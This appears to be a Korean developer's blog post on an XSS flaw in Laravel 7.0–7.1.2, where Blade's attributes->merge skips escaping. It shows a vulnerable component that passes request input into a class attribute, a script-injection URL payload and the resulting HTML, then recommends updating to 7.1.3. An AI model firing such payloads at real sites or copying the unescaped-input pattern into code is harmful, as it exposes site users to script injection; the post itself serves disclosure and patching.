이 포스팅은 laravel 7.0 ~ 7.1.2 까지 버전에 존재하는 취약점 입니다.
사용중이신 버전이 포함되어있다면 laravel 7.1.3
이상으로 업데이트 하시기 바랍니다.
Laravel news of XSS vector
laravel-news 에서 7.1.2 미만의 버전에서 XSS 공격 포인트가 있으니 업데이트하라는 소식이 들려와 어느부분이 취약한지 궁금해 해당 부분에 대한 코드를 찾아 봤다.
Github를 의 커밋 로그를 보면 attributesToString
메소드에 $escapeBound
옵션이 추가되었고, sanitizeComponentAttribute
란 static 메소드가 추가되었다.
sanitizeComponentAttribute
메소드는 입력된 값이 문자열이거나, object 인경우 __toString 매직 메소드가 존재하면 e()
(laravel의 html 이스케이프 함수)로 string을 소독(?) 하는 메소드이다.
근데 x-blade 문법에서 attributes->merge하는 메소드에서는 해당 코드가 적용되지 않아 tag 부분을 이스케이프 할 수 있어 XSS 공격이 가능해진다.
XSS code
<!-- resources/views/welcome.blade.php -->
<x-xss></x-xss>
<!-- resources/views/components/xss.blade.php -->
<div {{ $attributes->merge(['class' => request()->css]) }}>XSS able</div>
URI : http://127.0.0.1:8000/?css="><script>alert(1)</script>
<!-- Result -->
<div class="\"><script>alert(1)</script>">XSS able</div>

위와 같이 XSS가 실행되는 것을 볼 수 있다.
Patch

7.1.3 버전에서 패치되었으며[commit] composer update
를 하면 자동으로 패치되어진다.
나도 업데이트에서 언급 해줫으면 좋겟다. 나도 찾은건 찾은건데… ㅜ